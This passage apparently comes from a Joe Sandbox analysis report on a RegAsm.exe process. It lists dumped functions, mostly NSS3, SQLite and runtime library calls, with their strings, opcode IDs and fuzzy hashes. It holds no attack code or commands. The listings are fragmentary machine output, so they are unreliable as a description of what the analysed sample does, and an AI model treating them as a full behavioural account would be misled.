Part of subcall function 6BFF06A0: PR_Unlock.NSS3 ref: 6BFF06EB

memcmp.VCRUNTIME140(00000000,6BFD9B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6BFD9B8A,00000000,6BFD2D6B), ref: 6BFF09D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6BFD9B8A,00000000,6BFD2D6B), ref: 6BFF09F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BFD9B8A,00000000,6BFD2D6B), ref: 6BFF0A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BFD9B8A,00000000,6BFD2D6B), ref: 6BFF0A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BFD9B8A,00000000,6BFD2D6B), ref: 6BFF0A48

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 7860b02363acc06373fddb43b6c2fd306b1d4afebbb6863db662fdb674ef92ff
Instruction ID: 444e8e9bfb76fb1c5a7552eeae6063b9425e93111f16293fc14e7343ee5e74bf
Opcode Fuzzy Hash: 7860b02363acc06373fddb43b6c2fd306b1d4afebbb6863db662fdb674ef92ff
Instruction Fuzzy Hash: 0C02C0B3E002059FEB008F74DD41BAB77B9EF48358F044568E915A7272E779E942CBA1

Function 6C07C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C07CEA5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 6befef2911c18cb9d910b4c0553a34ba7ad67932750a481a49da5df8084a1cd3
Instruction ID: 53e5a02d86c8cda8920ac8326293bd8dd3c06d7047080b9b4622311fb96c8f07
Opcode Fuzzy Hash: 6befef2911c18cb9d910b4c0553a34ba7ad67932750a481a49da5df8084a1cd3
Instruction Fuzzy Hash: 86718371A057018FC718CF28C48471ABBE5FF89314F258A2EE4A9C77A0E730D955CBA5

Function 6C0ECDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0ED086
PR_Malloc.NSS3(00000001), ref: 6C0ED0B9
PR_Free.NSS3(?), ref: 6C0ED138

Strings

>, xrefs: 6C0ECF5B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 3e355585ebcb7d0990448c30fce143ce6128a5ae42f1c235096953455c242f7a
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: AED13862BC57560FEB14487C88A13EE7BD3C7CE374F984369D5219BBE5E62A88438341

Function 6C08AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc37283cb648fd1e580c8b084aadf4b6140f487c0b64fe1ebf1f4853e566e81
Instruction ID: b582c39d31c8d01961980469a80a29197898dc850fd47c77179f20c65623f6e6
Opcode Fuzzy Hash: 5fc37283cb648fd1e580c8b084aadf4b6140f487c0b64fe1ebf1f4853e566e81
Instruction Fuzzy Hash: 72F1F175F022158FEF14CF68C9407A9B7F1AB4A309F258229C905D7750EB78DA92CBC4

Function 6BFB6900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6BFB78EC, 6BFB78F1
sqlite\_%, xrefs: 6BFB6953
BBB, xrefs: 6BFB7207, 6BFB780B
authorizer malfunction, xrefs: 6BFB7910

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 77dcf5a1065da569eb4c2f1308c0e706256484cafa8fee7c69c42bab876fd6f0
Instruction ID: 4c41e4078f9d2d18a2f58379f1a592af42b05014bd4348e073022beca9d4e907
Opcode Fuzzy Hash: 77dcf5a1065da569eb4c2f1308c0e706256484cafa8fee7c69c42bab876fd6f0
Instruction Fuzzy Hash: BDC2A376E04205DFCB14CF59C480AA9BBF2FF89304F2481ADD915AB765D73AA912CF90

Function 6BF66F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6BF67049
unordered*, xrefs: 6BF6702B
noskipscan*, xrefs: 6BF67067
*?[, xrefs: 6BF67034, 6BF67052, 6BF67070

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 71f97019cc8b1b2193e8d1408971dbf81810b184f43196c0c8853e288b3f81db
Instruction ID: 816c95b554c9c7a651cbddf09f127a05e42b976f268dea0be9b2f78f30049d04
Opcode Fuzzy Hash: 71f97019cc8b1b2193e8d1408971dbf81810b184f43196c0c8853e288b3f81db
Instruction Fuzzy Hash: 99717933F041115BEB148E6DC8803DA73A29F85394F25027ADD69AB3E1FB799C4687D1

Function 6BFFEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFFF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6BFFF0F9

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 4cc3bf19a85f867fd7bd68ad2edd9b50fbf359462df54be2fc84d1c7b328b523
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 9C91AE72E0121A8BCB14CF68C8916AEB7F6FF85320F14462DD962A77E0D774A906CB51

Function 6C040E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C041052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C041086

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: ee2578a5bbdd4a0f02abee506302e4bf358758909a1f5c5961e5151802010fa3
Instruction ID: 1bd5f8409a9eebf8bc4f9c8cb51db7a64ca07722e08a6b0328cec4c78b7bbd18
Opcode Fuzzy Hash: ee2578a5bbdd4a0f02abee506302e4bf358758909a1f5c5961e5151802010fa3
Instruction Fuzzy Hash: B1A12A71A0525ADFDB08CF99C990AEEBBF6BF98318B148139E915A7700D735EC11CB90

Function 6BF949F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76d6aac4fe42683d3fec185b9f8850c5e82bbd2f9075648e9152d481c7d5ce6
Instruction ID: ea33124371316c665ebb0a65f260fe1fe17864be6f263db31b9021369f23bd1f
Opcode Fuzzy Hash: e76d6aac4fe42683d3fec185b9f8850c5e82bbd2f9075648e9152d481c7d5ce6
Instruction Fuzzy Hash: 9D525D75E002098FEB14DF59D480BAEBBF2FF98314F258159D924AB361D739A942CF90

Function 6C02ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C02EE3D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: d5a4e3e044de64d4e1f9d597de25bccff8b039fd4c752ee05474d6a0cfa15b7d
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4271D472E417018FDB28CF69C88076AB7F2EF88304F15462DD86A97B91D778E900CB90

Function 6BF64DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6BF65125

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: c9698f95ee2e456d5b4ae694f67790d3742fe2712d0d45169c47e09a51c7fd25
Instruction ID: 2ac862907ad8b242af6898074161061055074b2b218d8630b826089d7274b243
Opcode Fuzzy Hash: c9698f95ee2e456d5b4ae694f67790d3742fe2712d0d45169c47e09a51c7fd25
Instruction Fuzzy Hash: D5E15A75A083409FDB04DF28D59465ABBF0FF89359F01861DF88997361E738DA85CB82

Function 6BF98960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 2fb055a520a8f88e328d163a4670666ad03de4cca199602f8a5e62d01201562c
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: D6D17E73E04216CFEB48EEA8D4816AFF7F2FB89784F158569C552E7260D7389841CB90

Function 6BFC8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b81e5c770c46c7dd6e5f3d64915619926f9240b8a6bd68db20c065667afb0a0
Instruction ID: 04c0b51f1e356517b707dadd124e0253b60837c00a96f33dec407dfc053e3cc9
Opcode Fuzzy Hash: 3b81e5c770c46c7dd6e5f3d64915619926f9240b8a6bd68db20c065667afb0a0
Instruction Fuzzy Hash: 3011C133B002169BD718CF24D884B6BB7A5FF42318F0442A9D8058B661C77DD8C2C7C2

Function 6C0A0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c42069a2a9c45a629cf92c8b73e9023aea550843021b63ec2516e5241ed1208
Instruction ID: 327db7cac294d57f8b28295955f916a665aec9eb981f736fda309536f7ec1cb7
Opcode Fuzzy Hash: 0c42069a2a9c45a629cf92c8b73e9023aea550843021b63ec2516e5241ed1208
Instruction Fuzzy Hash: 7B11C4357083099FDB10DFA8C88076A7BE1FF85368F148069D81A8B702DB36E807CB90

Function 6C0A0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 45f861846d8b9fccbab21844997b6801bf1e121b7571e07a4a864d4be4da970a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E5E06D3B20A058A7DF148E89C450BA973D9DF8165DFA48079CC5AABE02D633F8038781

Function 6C0E09D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C0E0A22

Part of subcall function 6C099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C0E0A27), ref: 6C099DC6
Part of subcall function 6C099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C0E0A27), ref: 6C099DD1
Part of subcall function 6C099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C099DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C0E0A35

Part of subcall function 6BFC3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BFC382A
Part of subcall function 6BFC3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BFC3879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C0E0A66
PR_GetCurrentThread.NSS3 ref: 6C0E0A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C0E0A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C0E0AC8
PR_vsmprintf.NSS3(?,?), ref: 6C0E0AE8
EnterCriticalSection.KERNEL32(?), ref: 6C0E0B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0B48
OutputDebugStringA.KERNEL32(?), ref: 6C0E0B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C0E0C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C0E0C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C0E0C76
PR_LogFlush.NSS3 ref: 6C0E0C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C0E0C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0C9C
OutputDebugStringA.KERNEL32(?), ref: 6C0E0CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C0E0CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C0E0D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C0E0D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C0E0D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C0E0D90
free.MOZGLUE(00000000), ref: 6C0E0D99

Strings

%ld[%p]: , xrefs: 6C0E0A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C0E0A5B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 525bfe7aaf43a62782f82c8fa2e8520b66eea0361f77820daefc653d28413e33
Instruction ID: 7fdf6664ab86edb04f13f54318ba5edc00f039230c4c851804ec65cd81376297
Opcode Fuzzy Hash: 525bfe7aaf43a62782f82c8fa2e8520b66eea0361f77820daefc653d28413e33
Instruction Fuzzy Hash: 1BA147B5B841549FDF209B78CC48BEA3BF8AF0630CF180654F80993251DBB5E995EB91

Function 6C0028A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C0028BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C0028EF

Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C0E0B88
Part of subcall function 6C0E09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C0E0C5D
Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C0E0C8D
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0C9C
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C0E0CD1
Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C0E0CEC
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0CFB
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0D16
